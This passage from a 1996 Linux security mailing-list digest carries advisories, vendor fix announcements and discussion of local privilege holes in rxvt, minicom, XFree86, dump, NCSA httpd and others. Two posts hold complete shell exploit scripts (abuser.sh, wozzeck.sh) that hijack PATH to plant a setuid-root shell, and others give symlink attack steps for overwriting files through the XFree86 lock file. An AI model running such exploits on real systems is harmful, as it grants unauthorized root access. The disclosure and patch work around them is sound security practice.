rewriting my code? Umm... how many fingernails? Do I get to choose the hand?") Powell Dept. Electrical and Computer Engineering, San Diego State University, San Diego, CA 92182-1309 Office (619) 594-7796; Lab (619) 594-7578 FAX (619) 594-7577 email: [email protected] ------------------------------ From: "Alexander O. Yuriev" Date: Tue, 30 Jan 1996 01:50:06 -0500 (EST) Subject: LSF Update#11: Vulnerability of rxvt - -----BEGIN PGP SIGNED MESSAGE----- Linux Security FAQ Update rxvt vulnerability Wed Jan 24 13:25:44 EST 1996 Copyright (C) 1995, 1996 Alexander O. Yuriev ([email protected]) CIS Laboratories TEMPLE UNIVERSITY U.S.A. ============================================================================= This is an official update of the Linux security FAQ, and it is supposed to be signed by one of the following PGP keys: 1024/9ED505C5 1995/12/06 Jeffrey A. Uphoff Jeffrey A. Uphoff 1024/EFE347AD 1995/02/17 Olaf Kirch 1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key Unless you are able to verify at least one of signatures, please be very careful when following instructions. Linux Security WWW: http://bach.cis.temple.edu/linux/linux-security linux-security & linux-alert mailing list archives: ftp://linux.nrao.edu/pub/linux/security/list-archive ============================================================================= ABSTRACT The rxvt program used to emulate VT100 terminal in the X11 environment can be exploited to gain unauthorized root access. This Linux Security FAQ Update provides information that can be used to deal with this problem. RISK ASSESSMENT The information released to full-disclosure mailing lists allows any local user to obtain an unauthorized root access if rxvt is installed as a suid-to-root program. SOLUTION TO THE PROBLEM Immediately remove a suid bit from the rxvt binary using command: chmod 111 /usr/X11R6/bin/rxvt This assumes that you have rxvt installed as /usr/X11R6/bin/rxvt. If that is not the case, locate the binary and substitute /usr/X11R6/bin/rxvt with its name. You can use one of the following commands to locate rxvt: locate rxvt | grep -v rxvt.1x or find / -type f -name rxvt -print DISTRIBUTION FIXES After you install the distribution-specific fixed version of rxvt, you should make the rxvt binary suid-to-root. Red Hat Linux 2.1 & 2.0, Caldera Network Desktop The Red Hat Commercial Linux 2.0 and 2.1 distributions and Caldera Network Desktop are vulnerable to an attack against rxvt. Marc Ewing ([email protected]) provided the RPM package that fixes the security problem with rxvt. The package can be obtained from one of the following URLs: ftp://ftp.redhat.com/pub/redhat-2.1/i386/updates/RPMS/rxvt-2.10-3.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat2.1/rxvt-2.10-3.i386.rpm ftp://linux.nrao.edu/pub/linux/security/DISTRIBUTION-FIXES/RedHat2.0/rxvt-2.10-3.i386.rpm Please verify the MD5 hash of the file prior to installing the package: b50028ae040c7778d3a0fe98316f5615 rxvt-2.10-3.i386.rpm Debian/GNU Linux The Debian/GNU Linux distribution includes a vulnerable version of rxvt. Ian Murdock ([email protected]) provided information about the official replacement package for the Debian/GNU Linux that fixes this rxvt problem. The fixed package can be obtained from one of the following URLs: ftp://ftp.debian.org/debian/debian-0.93/binary/x11/rxvt-2.10-2.deb ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/Debian/rxvt-2.10-2.deb ftp://linux.nrao.edu/pub/linux/security/DISTRIBUTION-FIXES/Debian/rxvt-2.10-2.deb Please verify the MD5 hash of the file prior to installing the package. f6a704ede216a3e67e8517a5d179a6f2 rxvt-2.10-2.deb Slackware 3.0 Slackware 3.0 is vulnerable to an attack against rxvt. There is no Slackware-specific fixed version of rxvt package available at this time. Until such fixed version of rxvt becomes available, users of Slackware 3.0 are advised to follow the procedure in the "Other Linux Distributions" section of this Update. Yggdrasil Plug & Play Fall'95 Yggdrasil Plug and Play Fall'95 Linux distribution does not include rxvt and therefore is not vulnerable as long as you did not install your own version of rxvt. Other Linux Distributions If your Linux distribution is not listed above or there is no fixed version of rxvt available for your distribution or you installed rxvt yourself, it is recommended that you obtain the source code of rxvt used as a base for Debian/GNU Linux package. The source code can be obtained from one of the following URLs: ftp://ftp.debian.org/debian/debian-0.93/source/x11/rxvt-2.10-2.tar.gz ftp://bach.cis.temple.edu/pub/Linux/Security/rxvt-2.10-2.tar.gz ftp://linux.nrao.edu/pub/linux/security/DISTRIBUTION-FIXES/OTHER/rxvt-2.10-2.tar.gz Please verify the MD5 hash of the file prior to installing it. f3e08f8f97da3c4f245c8de970e05c9d rxvt-2.10-2.tar.gz CREDITS Marc Ewing ([email protected]) Ian Murdock ([email protected]) Adam J. Richter ([email protected]) Olaf Kirch ([email protected]) Allen Wheelwright ([email protected]) Jeff Uphoff ([email protected]) - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMQ2+koxFUz2t8+6VAQGuWgQAgjshASO3Mz8ldHoUnJlSsDdXPwipmdc8 JLHGauq+AZasvWSoZKSpenakwklkzTDPNYm48g7/jlE97B2yANi1JxxYaK+QjZg8 C5imnKxj2LvgDxVy6+aSG1NvBqIWEush7VX2+Ubh1P3K8E2tth6SsdDx3qfY3/wK gbWzEY7Qu/4= =dCW2 - -----END PGP SIGNATURE----- ============================================================================ Alexander O. Yuriev Email: [email protected] CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex Philadelphia, PA, USA KeyID: 1024/D62D4489 Key Fingerprint: AE84534377CCC4E2 37B13C4D8CD3D501 Unless otherwise stated, everything above is my personal opinion and not an opinion of any organisation affiliated with me. ============================================================================= ------------------------------ From: Olaf Kirch Date: Thu, 01 Feb 1996 04:07:01 +0100 Subject: Problem with minicom 1.71 - -----BEGIN PGP SIGNED MESSAGE----- Hi all, There is a problem present in minicom 1.72 and earlier versions that allows local users to execute programs under whatever uid or gid minicom runs. People often make minicom suid or sgid to some ID because they keep their tty log files in the UUCP spool directory or something like this. Please check whether your minicom binary runs suid or sgid, and consider upgrading. Miquel van Smoorenburg has fixed this in his latest version available at http://sunsite.unc.edu/pub/Linux/apps/comm/minicom-1.74.tar.gz Note that this is *not* the same problem as the one discussed half a year ago. I will send a more detailed explanation to linux-security within the next few days. Cheers Olaf - -----BEGIN PGP SIGNATURE----- Version: 2.6.2i iQCVAwUBMRAuTOFnVHXv40etAQFXZQP/TDNpB0Gyi64hDMsf2A2FqC6FyjSg7ZVT 7PwcTuH3Zu6Vh6qDQ9VpWYjpCxBLRd0ho6A4scCbQx90yGTuWwp6McMcYPyZlREo 0IvYW5B6MkBA0aeuJS1dNEotRfZhEMmzK50tvhXyaw+iRnlzOcX7dgMPsZgoGz/o ADCBsM5Vrnk= =SQva - -----END PGP SIGNATURE----- ------------------------------ From: Bruno Van Wilder Date: Mon, 29 Jan 1996 23:15:26 +0000 (GMT) Subject: Re: XFree86 3.1.2 Security Problems - -----BEGIN PGP SIGNED MESSAGE----- On Mon, 29 Jan 1996, David J Meltzer wrote: > There are security holes in XFree86 3.1.2, which installs its servers > as suid root (/usr/X11R6/bin/XF86_*). When reading and writing files, > it does not take proper precautions to ensure that file permissions are > maintained, resulting in the ability to overwrite files, and to read > limited portions of other files. [...] > Temporary Patch: chmod o-x /usr/X11R6/bin/XF86* This patch is not only very hard to realise on systems that need X, it is also insufficient; if xdm is used, the hole can still be exploited with the above patch installed. While waiting for a patched X server, I have patched the binary image of my own XF86 server, so that the lock lives in a non-user-writeable directory. I know, binary patching _is_ dirty, but the other fix is to disable X as far as we know. This is my little program: - - ----------------------------binpatch.c---------------------------------- #include main() { char c[3]; c[0]=getchar(); c[1]=getchar(); c[2]=getchar(); do { if ((c[0]=='t')&&(c[1]=='m')&&(c[2]=='p')) putchar('X'); else putchar(c[0]); c[0]=c[1]; c[1]=c[2]; c[2]=getchar(); } while(!feof(stdin)); putchar(c[0]); putchar(c[1]); } - - ----------------------------------------------------------------------- This program needs to be compiled and applied as a filter to your X server: $ binpatch XF86_SVGA.new (or whatever X server you may be using) Replace your old X by the new one, keeping a copy of the old one. Do not forget to install it suid-root if users need to use startx (ie. if you are not using xdm). Two other things will need to be done: $ mkdir /Xmp $ ln -s /Xmp/.X11-unix /tmp/.X11-unix (because the libs refer to that subdir) - - From now on, the lock and the socket will be placed under the subdirectory /Xmp, which should not be world-writeable. The symlink in /tmp is necessary because the libraries refer to that directory to access the X socket. This works for my own X-server; I hope it works for others. - -----BEGIN PGP SIGNATURE----- Version: 2.6.2i Comment: PGP Signed with PineSign 2.0 iQB1AwUBMQ1U6hPbz9VMa6MtAQHq7gMAwFb1PItybsLDMUVxB5OUUUtl0QPuKJ69 nqOntNbLvOFsAGfkr61urr4rGFQfbXjkxo39fEhCVPebrhBCl4SpbQSgij11jp7i CT8v1wlYOrIJsUsgFYKcu+Q1uLOjuv5+ =v3pD - -----END PGP SIGNATURE----- Greetings, Bruno - -- Bruno Van Wilder Royal Holloway, University of London main(int n,char**a){for(n=0;putchar(a[2][n]?(a[2][n]%32+(**a%2*2-1)* (a[1][n++%(a[2]-a[1]-1)]%32-1)+25)%26+97:10)-10;);} (Vigenere encryption/decryption) ------------------------------ End of linux-security-digest V2 #5 ********************************** linux-security-digest/v02.n006100664 1767 1767 51522 6106156333 15446 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #6 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Wednesday, 7 February 1996 Volume 02 : Number 006 Re: Shadow /bin/login security hole Re: XFree86 3.1.2 Security Problems Re: XFree86 3.1.2 Security Problems (fwd) Re: bind() Security Problems Re: bind() Security Problems Re: dump RedHat security hole abuse Red Hat 2.1 security hole resizecons Red Hat 2.1 security hole [linux-security] [Fwd: HTTPd 1.5a Security Hole!!! (fwd)] ---------------------------------------------------------------------- From: [email protected] Date: Tue, 30 Jan 1996 02:52:52 +0100 Subject: Re: Shadow /bin/login security hole > I'd honestly like to know if anyone has heard a report of this occuring, > in part because isgraph() call in the conditional part of the for() loop. Well, what characters are considered to be graphic depends on the locale. Either setlocale() is called, but then people can use a locale where all characters are graphic, or setlocale() is not called, and then people cannot even enter their own name. ------------------------------ From: David Dawes Date: Tue, 30 Jan 1996 13:54:38 +1100 (EST) Subject: Re: XFree86 3.1.2 Security Problems >> There are security holes in XFree86 3.1.2, which installs its servers >> as suid root (/usr/X11R6/bin/XF86_*). When reading and writing files, >> it does not take proper precautions to ensure that file permissions are >> maintained, resulting in the ability to overwrite files, and to read >> limited portions of other files. >[...] >> Temporary Patch: chmod o-x /usr/X11R6/bin/XF86* > >This patch is not only very hard to realise on systems that need X, it is >also insufficient; if xdm is used, the hole can still be exploited with >the above patch installed. Does anyone have any comments on a real fix for this? We (XFree86) will be finalising our next beta release quite soon. [Mod: Please direct responses to the author--not to the mailing list. - --Jeff] I'd like the final solution to allow for both suid-root and non-suid servers (Xnest and Xvfb are not suid-root). One thought is to use a non-user-writable directory for the lock files when euid==0, and use /tmp when euid!=0. Does anyone see any problems with that? David - -- David Dawes Email: [email protected] The XFree86 Project, Inc Phone: +61 2 351 2639 c/- School of Physics, Fax: +61 2 660 2903 University of Sydney 2006 AUSTRALIA ------------------------------ From: "Anthony C. Zboralski" Date: Tue, 30 Jan 1996 13:58:49 +0100 (MET) Subject: Re: XFree86 3.1.2 Security Problems (fwd) - ---------- Forwarded message ---------- Date: Tue, 30 Jan 1996 02:51:40 +0100 (MET) From: Anthony C. Zboralski To: Bugtraq List Cc: Multiple recipients of list BUGTRAQ Subject: Re: XFree86 3.1.2 Security Problems - -----BEGIN PGP SIGNED MESSAGE----- On Mon, 29 Jan 1996, David J Meltzer wrote: > Date: Mon, 29 Jan 1996 00:16:46 -0500 > From: David J Meltzer > To: Multiple recipients of list BUGTRAQ > Subject: XFree86 3.1.2 Security Problems > > There are security holes in XFree86 3.1.2, which installs its servers > as suid root (/usr/X11R6/bin/XF86_*). When reading and writing files, > it does not take proper precautions to ensure that file permissions are > maintained, resulting in the ability to overwrite files, and to read > limited portions of other files. > The first problem stems from the server opening a temporary file, > /tmp/.tX0-lock with mode (O_WRONLY|O_CREAT|O_TRUNC). By making this > file a symlink, the server will overwrite the original file, and then > write to it its current pid. > Other problems exist in the server relating to similar problems, one > such example is the ability to specify an arbitrary file for the XF86config > file which will then be opened, and the first line that fails to match > the expected format will be output with an error, allowing a line to be > read from an arbitrary file. > > Program: XFree86 3.1.2 servers > Affected Operating Systems: All systems with XFree86 3.1.2 installed > Requirements: account on system > Temporary Patch: chmod o-x /usr/X11R6/bin/XF86* > Security Compromise: overwrite arbitrary files > Author: Dave M. ([email protected]) > Synopsis: While running suid root, XFree86 servers do > not properly check file permissions, allowing > a user to overwrite arbitrary files on a > system. > > > Exploit: > $ ls -l /var/adm/wtmp > -rw-r--r-- 1 root root 174104 Dec 30 08:31 /var/adm/wtmp > $ ln -s /var/adm/wtmp /tmp/.tX0-lock > $ startx > (At this point exit X if it started, or else ignore any error messages) > $ ls -l /var/adm/wtmp > -r--r--r-- 1 root root 11 Dec 30 08:33 /var/adm/wtmp > > Oh well if xdm is running.. The temporary patch won't do you good... Xdm manages a collection of X displays, which may be on the local host or remote servers. Xdm provides services similar to those provided by init, getty and login on character terminals: prompting for login name and password, authenticating the user, and running a ``session.'' Xdm is launched by root.. by default it will start a server on the local display. If the server crashes for some reason, gets killed or if the user sends a server abort sequence, it will restart the server.. $ps -ax |grep xdm 80 ? S 0:00 xdm 142 ? S 0:01 /usr/X11R6/bin/X -auth /usr/X11R6/lib/X11/xdm/A:0-a00080 179 v03 D 0:00 grep xdm $ls -l /var/log/wtmp - - -rw-r--r-- 1 root root 31864 Jan 30 02:13 /var/log/wtmp $ ln -s /tmp/.tX0-lock /var/log/wtmp Now, you switch to the local X display and send the server abort sequence.. Wait until xdm pops up a new server process.. than switch back to shell: $ls -l /var/log/wtmp - - -rw-r--r-- 1 root root 11 Jan 30 02:13 /var/log/wtmp Xdm doesn't need to kill the server when a user logs out so the only worry would be the sending of the abort sequence easily fixed by uncommenting in the "Don'tZap" setting in /etc/XF86Config.. but I have seen XF86 crashing so many times for unguessable reason so i don't think it will fix the prob. Maybe someone could take a look at the server sources so it does a system("/bin/rm /tmp/.tX0-lock") just before it a write to the file.. I don't have 'em handy.. ____ \ /__ Anthony C. Zboralski \/ / \/ Finger for PGP Public Key - -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv Comment: France, Russia and Irak still forbid encryption.. iQCVAwUBMQ141V/59mQ4I551AQGVEgP/aO3+dCX8FA/2sNOeaE6p33u2+Ed1yuPM 2NyI14L3q1RQ7xt8seHQD1KzWxvRJxbSvWKhrIdhSuisAzlh8QJdn4hZ8ulgPNBf uesUvAbvVJjhhandT0wjVbL0rYRBJEs9NJtWTrrF/gZ+5+cuvnKM2iyeTcAY9EGL 2MvbAtN6yr4= =EwzG - -----END PGP SIGNATURE----- ------------------------------ From: Richard Black Date: Thu, 01 Feb 1996 11:49:33 +0000 Subject: Re: bind() Security Problems Sigh, I am not on any of these security lists but I have just been forwarded this alert about bind(). This is a "feature" of IP Multicast support. I reported this bug in November 1993 on the IP Multicast workers mailing list, and directly to Steeve Deering. This feature was deliberately added to the (previously secure) BSD networking code by Steeve Deering (or at any rate one of the IP multicast people working with him) in 1992 or 1993 because of the way that IP Multicast works. Since IP multicast uses UDP all the recipients of a multicast session world wide must be using the same UDP port number. Since global agreement on free port numbers is not practical it was made possible for an application to get access to a particular UDP port irrespective of its use elsewhere on the same machine. Most vendors (e.g. Digital Unix) have not accepted this hole and only permit sharing of the same port when ALL of the sockets involved have SO_REUSEADDR set. This works reasonably well in practice since port numbers chosen for multicast sessions are above the range normally cyclicly allocated to other applications. I have not been following IP multicast implementation work so I have no idea at what stage (or even whether) this fix was adopted. - ----- Richard Black (usual disclaimers) University of Cambridge Computer Laboratory Cambridge United Kingdom ------------------------------ From: [email protected] (Alan Cox) Date: Thu, 1 Feb 1996 18:47:48 +0000 (GMT) Subject: Re: bind() Security Problems > Alan didnt like this, so all bind to the same port will > not be allowed in newer kernels. You should be able to easily adapt > this patch or Alan's patch to 1.2.13 without much trouble. The two things this breaks BTW are "named" and "xntpd". No virtual hosting server I have tried breaks. The supplied euid test is unsafe because some programs (older Linux nfsd for example) change uid as they do requests. I believe the correct solution in fact is to require BOTH sockets set SO_REUSEADDR to allow the rebind. Alan ------------------------------ From: [email protected] (Remy Card) Date: Sat, 3 Feb 1996 00:14:57 +0100 (MET) Subject: Re: dump RedHat security hole > [mod: Marc Ewing has already made available an RPM for this; the URL is > ftp://ftp.redhat.com/pub/redhat-2.1/i386/updates/RPMS/dump-0.2e-4.i386.rpm > --okir] > > There is a security hole in RedHat 2.1, which installs /sbin/dump suid > root. The dump program makes no provisions for checking file permissions, > allowing any user on the system to read arbitrary files on the system. > Dump checks permissions only on the directory you specify to backup, and > not on files or subdirectories. > The process to exploit this is to backup the files via dump as if it was > a normal backup to a temporary file, and then restore the temporary file > with /sbin/restore to your own directory. The solution is simple, don't > run dump suid root on your system. Firstly, people who think that they have found a security hole in a program should contact the author/porter/maintainer/... I have ported 4.4BSD dump to Linux and I maintain it and I never got any mail about this problem. Secondly, this security hole does not even exist! I have just checked and the problem, if any, is not in dump. Dump gives up its priviledges after establishing a connection to a remote host and *before* opening the filesystem: (void)setuid(getuid()); /* rmthost() is the only reason to be setuid */ If the calling user has read access on the special device, the open succeeds and the user can backup the filesystem, but if the calling user does not have read access on the device, the open fails: bbj>id uid=1001(card) gid=50(users) groups=50(users),0(wheel),19(disk) bbj>ls -l /dev/hda2 brw-r----- 1 root disk 3, 2 Oct 3 1993 /dev/hda2 bbj>/sbin/dump 0f woot.dump /dev/hda2 DUMP: Date of this level 0 dump: Sat Feb 3 00:00:28 1996 DUMP: Date of last level 0 dump: the epoch DUMP: Dumping /dev/hda2 (/) to woot.dump DUMP: mapping (Pass I) [regular files] DUMP: mapping (Pass II) [directories] DUMP: estimated 92218 tape blocks on 2.37 tape(s). DUMP: dumping (Pass III) [directories] ... bbj>id uid=2001(q1) gid=50(users) groups=50(users) bbj>/sbin/dump 0f woot.dump /dev/hda2 DUMP: Date of this level 0 dump: Sat Feb 3 00:01:15 1996 DUMP: Date of last level 0 dump: the epoch DUMP: Dumping /dev/hda2 (/) to woot.dump /dev/hda2: Permission denied while opening filesystem This happens when trying to backup a subtree as well. So, I suspect that the problem is with the permissions on special files and not in dump itself. BTW, if special files are readable by users, one can use the ``debugfs'', ``dd'', ``strings'', and ``cat'' commands to view the contents of files, and these commands are not even setuid! The right solution to this problem is to fix the permissions on /dev entries. Next time, please be more prudent before telling that a program contains a security hole! At least, contact its maintainer to check with him... > Program: /sbin/dump incorrectly installed > Affected Operating Systems: RedHat 2.1 linux distribution > Requirements: account on system > Patch: chmod -s /sbin/dump > Security Compromise: read arbitrary files on system > Author: Dave M. ([email protected]) > Synopsis: dump fails to check file permissions against > user running dump, or to give up suid when > backing up a filesystem. > > Exploit: > $ /sbin/dump 0uf woot.dump DIRECTORY_FILE_TO_READ_IS_IN > > /-------------\ > |David Meltzer| > |[email protected]| > /--------------------------\ > |School of Computer Science| > |Carnegie Mellon University| > \--------------------------/ Remy [Mod: This is not the first time that this issue has come up. If you are tempted to publicly announce a bug in something, please do not let your zeal to get the word out overcome your general sensibilities; contact the maintainer(s) of the package, if possible, prior to posting a message to bugtraq, linux-{security,alert}, etc. Doing so can save much in the way of embarrassment and/or hard feelings for *all* involved parties. --Jeff.] ------------------------------ From: David J Meltzer Date: Fri, 2 Feb 1996 22:28:30 -0500 (EST) Subject: abuse Red Hat 2.1 security hole There is a security hole in Red Hat 2.1, which installs the game abuse, /usr/lib/games/abuse/abuse.console suid root. The abuse.console program loads its files without absolute pathnames, assuming the user is running abuse from the /usr/lib/games/abuse directory. One of these files in the undrv program, which abuse executes as root. If the user is not in the abuse directory when running this, an arbitrary program can be substituted for undrv, allowing the user to execute arbitrary commands as root. If abuse.console needs to be run by users other than root at the console, provisions need to be made in the code to not execute or load any files as root. Program: /usr/lib/games/abuse/abuse.console suid root Affected Operating Systems: Red Hat 2.1 linux distribution Requirements: account on system Patch: chmod -s /usr/lib/games/abuse/abuse.console Security Compromise: root Author: Dave M. ([email protected]) Synopsis: abuse.console runs undrv without an absolute pathname while executing as root, allowing a user to substitute the real undrv with an arbitrary program. Exploit: #!/bin/sh # # abuser.sh # exploits a security hole in abuse to create # a suid root shell /tmp/abuser on a linux # Red Hat 2.1 system with the games package # installed. # # by Dave M. ([email protected]) # echo ================ abuser.sh - gain root on Linux Red Hat 2.1 system echo ================ Checking system vulnerability if test -u /usr/lib/games/abuse/abuse.console then echo ++++++++++++++++ System appears vulnerable. cd /tmp cat << _EOF_ > /tmp/undrv #!/bin/sh /bin/cp /bin/sh /tmp/abuser /bin/chmod 4777 /tmp/abuser _EOF_ chmod +x /tmp/undrv PATH=/tmp echo ================ Executing Abuse /usr/lib/games/abuse/abuse.console /bin/rm /tmp/undrv if test -u /tmp/abuser then echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/abuser else echo ---------------- Exploit failed fi else echo ---------------- This machine does not appear to be vulnerable. fi /-------------\ |David Meltzer| |[email protected]| /--------------------------\ |School of Computer Science| |Carnegie Mellon University| \--------------------------/ ------------------------------ From: David J Meltzer Date: Fri, 2 Feb 1996 22:31:23 -0500 (EST) Subject: resizecons Red Hat 2.1 security hole There is a security hole in Red Hat 2.1, which installs the program /usr/bin/resizecons suid root. The resizecons program allows a user to change the videmode of the console. During this process, it runs the program restoretextmode without an absolute pathname, assuming the correct version will be found in the path, while running with root privileges. It then executes setfont in the same manner. By setting the path to find a rogue restoretextmode, a user can execute an arbitrary program as root. As a more amusing aside, the file /tmp/selection.pid is read and the pid contained within is sent a SIGWINCH, allowing a user on the system to force a redraw of the screen to an arbitrary process (that handles SIGWINCH calls) on the machine. If /usr/bin/resizecons needs to be run by users other than root at the console, provisions need to be made in the code to execute the outside utilities with absolute pathnames, and to check access rights on files before opening. Program: /usr/bin/resizecons Affected Operating Systems: Red Hat 2.1 linux distribution Requirements: account on system Temporary Patch: chmod -s /usr/bin/resizecons Security Compromise: root Author: Dave M. ([email protected]) Synopsis: resizecons runs restoretextmode without an absolute pathname while executing as root, allowing a user to substitute the real program with arbitrary commands. Exploit: wozzeck.sh: #!/bin/sh # # wozzeck.sh # exploits a security hole in /usr/bin/resizecons # to create a suid root shell in /tmp/wozz on a # linux Red Hat 2.1 system. # # by Dave M. ([email protected]) # echo ================ wozzeck.sh - gain root on Linux Red Hat 2.1 system echo ================ Checking system vulnerability if test -u /usr/bin/resizecons then echo ++++++++++++++++ System appears vulnerable. cd /tmp cat << _EOF_ > /tmp/313x37 This exploit is dedicated to Wozz. Use it with care. _EOF_ cat << _EOF_ > /tmp/restoretextmode #!/bin/sh /bin/cp /bin/sh /tmp/wozz /bin/chmod 4777 /tmp/wozz _EOF_ /bin/chmod +x /tmp/restoretextmode PATH=/tmp echo ================ Executing resizecons /usr/bin/resizecons 313x37 /bin/rm /tmp/restoretextmode /bin/rm /tmp/313x37 if test -u /tmp/wozz then echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/wozz else echo ---------------- Exploit failed fi else echo ---------------- This machine does not appear to be vulnerable. fi /-------------\ |David Meltzer| |[email protected]| /--------------------------\ |School of Computer Science| |Carnegie Mellon University| \--------------------------/ ------------------------------ From: Rogue Agent Date: Tue, 6 Feb 1996 19:28:04 -0500 Subject: [linux-security] [Fwd: HTTPd 1.5a Security Hole!!! (fwd)] I seem to recall this hole being pointed out, and subsequently corrected, in an earlier version (1.0a5? 1.3?) of NCSA's httpd. Has it crept back? Anyone care to verify this? - --Up. Resent from Bugtraq: - ---------- Forwarded message ---------- Date: Tue, 6 Feb 1996 17:47:08 -0600 From: John P. Nelson To: Multiple recipients of list IAP Subject: HTTPd 1.5a Security Hole!!! VERY IMPORTANT for Internet Service Providers using linux, providing public WWW space!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! - -------------------------------------------------------------------- FROM: The InterNetwork Operating Company, Inc. RE: InterNOC Security Advisory Known Affected Systems: Linux 1.2.8 using NCSA HTTPd 1.5a Description: The InterNetwork Operating Company has discovered a security hole related to Linux 1.2.8 and NCSA HTTPd 1.5a. In affected systems, the NCSA server, running as nobody/nogroup is able to access any files that are mode ?00 (readable only by owner). The security hole is known to occur through symbolic links as well as through aliases specified in the srm.conf file. It is known that through properly placed symbolic links, it is possible to obtain the shadow password file, user mail files, etc. This is extermely important for public Internet Service Providers that provide users with WWW space. This same security hole has been tested on BSDI 2.0.1, which does not appear to be affected. It has not yet been tested on other systems or with other http servers. [email protected] John Nelson The InterNetwork Operating Company, Inc. ------------------------------ End of linux-security-digest V2 #6 ********************************** linux-security-digest/v02.n007100664 1767 1767 15344 6110571222 15442 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #7 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Thursday, 15 February 1996 Volume 02 : Number 007 [linux-security] Regarding the forwarded Bugtraq post on NCSA httpd. [linux-security] RedHat 2.1 RPMs for fixed sliplogin [linux-security] Kernels 1.3.6[12] break IP firewalling [linux-security] Re: Kernels 1.3.6[12] break IP firewalling Re: [linux-security] Re: Kernels 1.3.6[12] break IP firewalling ---------------------------------------------------------------------- From: Jeff Uphoff Date: Wed, 7 Feb 1996 13:34:15 -0500 Subject: [linux-security] Regarding the forwarded Bugtraq post on NCSA httpd. I screwed up and forgot to remove a header when I resent the Bugtraq/httpd message to linux-security! Please do *not* use the "Reply-To:" address in the message--it points back to the Bugtraq list. Please send all replies/followups to linux-security. (I won't likely be approving many of the replies, but I will be posting a summary of findings once I have some.) - --Up. ------------------------------ From: "Alexander O. Yuriev" Date: Fri, 09 Feb 1996 11:08:21 -0500 Subject: [linux-security] RedHat 2.1 RPMs for fixed sliplogin - ------- Forwarded Message Return-Path: [email protected] Return-Path: [email protected] Received: from elmer-fudd.redhat.com (elmer-fudd.redhat.com [199.183.24.3]) by bach.cis.temple.edu (8.7.1/8.7.1) with ESMTP id LAA06233 for ; Fri, 9 Feb 1996 11:04:34 -0500 Received: from elmer-fudd.redhat.com (localhost [127.0.0.1]) by elmer-fudd.redhat.com (8.7.3/8.7.3) with ESMTP id LAA29895; Fri, 9 Feb 1996 11:05:29 -0500 Message-Id: <[email protected]> X-Mailer: exmh version 1.6.4 10/10/95 To: [email protected] Cc: "Alexander O. Yuriev" Subject: SECURITY FIX: New NetKit-B and sliplogin RPMs available Mime-Version: 1.0 Content-Type: application/pgp; format=mime; x-action=signclear; x-originator=82BFC7ED Content-Transfer-Encoding: 7bit Date: Fri, 09 Feb 1996 11:05:28 -0500 From: Marc Ewing - - -----BEGIN PGP SIGNED MESSAGE----- Content-Type: text/plain; charset=us-ascii A security hole exists in sliplogin as shipped in the NetKit-B RPM on all releases of Red Hat Linux. The hole may allow users to gain unauthorized root access. The fix involves removing sliplogin from the NetKit-B RPM, so you must install a new NetKit-B and sliplogin. All users should upgrade immediately. Intel: rpm -Uvh ftp://ftp.redhat.com/pub/redhat-2.1/i386/updates/RPMS/NetKit-B-0.06-7. i386.rpm rpm -Uvh ftp://ftp.redhat.com/pub/redhat-2.1/i386/updates/RPMS/sliplogin-2.0.2- 1.i386.rpm Alpha: rpm -Uvh ftp://ftp.redhat.com/pub/redhat-2.1/axp-beta/updates/RPMS/NetKit-B-0.0 6-7.axp.rpm rpm -Uvh ftp://ftp.redhat.com/pub/redhat-2.1/axp-beta/updates/RPMS/sliplogin-2. 0.2-1.axp.rpm MD5 sums: 601c3f6137a6fb15ae61a6b817395040 NetKit-B-0.06-7.i386.rpm a624b9785e6261e3589ce9863dd60057 sliplogin-2.0.2-1.i386.rpm 252d23d3c9fd19ac788513efa6c710b8 NetKit-B-0.06-7.axp.rpm a1242e61bf90fc6d9154e14ba4f1e379 sliplogin-2.0.2-1.axp.rpm - - - -Marc - - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMRtwxURxU2iCv8ftAQEGCQQAt26MLcKIOgIorJLxXwQvlwh0J3j1b/zS l+Qf37UadY1hKgMRrmf6vgHK779tcDUVfV6mlsmDf0QmXbhgBb/YhqrkPO3z8QWJ LkCtWw6PELOVuItFAA0jX7cT7J5qvbLOe8MpMspyR2R/EVNWeiZJPAdB87e5GbSR 7FnxRf8NO7c= =MHjm - - -----END PGP SIGNATURE----- - ------- End of Forwarded Message ------------------------------ From: [email protected] (Thomas =?ISO-8859-1?Q?K=F6nig?=) Date: Sun, 11 Feb 1996 20:11:25 +0100 (MET) Subject: [linux-security] Kernels 1.3.6[12] break IP firewalling - -----BEGIN PGP SIGNED MESSAGE----- The 1.3.61 and 1.3.62 kernels break IP firewalling due to new setsockopt() arguments. There is currently no publically available set of utilities to make firewalling work under these kernels. If you depend on firewalling, STAY AWAY FROM THESE KERNELS. - - -- Thomas Koenig, [email protected], [email protected]. The joy of engineering is to find a straight line on a double logarithmic diagram. - -----BEGIN PGP SIGNATURE----- Version: 2.6.2i iQCVAwUBMR4/UfBu+cbJcKCVAQFlNAQAgL+D9xcY6OeoFEHIXPd48TXJib9uaqSS rPlZ0IoZ9/ivY3sQCRq/KgTn/N8s1ojTLDQwTGnxjQqJBIM45Jh8KhKDkpVk5Oq1 b24xDjKkCY08QS2sXNsILosSNTga8CYdia9aAHpaY+5uur8Cji6b1GMrZKz8ZILo Jn+Iwdhf1H0= =yTyj - -----END PGP SIGNATURE----- ------------------------------ From: [email protected] Date: Mon, 12 Feb 1996 09:36:30 +0000 (GMT) Subject: [linux-security] Re: Kernels 1.3.6[12] break IP firewalling > The 1.3.61 and 1.3.62 kernels break IP firewalling due to new > setsockopt() arguments. > > There is currently no publically available set of utilities to > make firewalling work under these kernels. > > If you depend on firewalling, STAY AWAY FROM THESE KERNELS. Fortunately the provided information is incorrect. You can get the new ipfwadm from ftp.xos.nl. The new firewalling provides the ability for the user to order firewall rules by hand, which has been requested by many people and is a 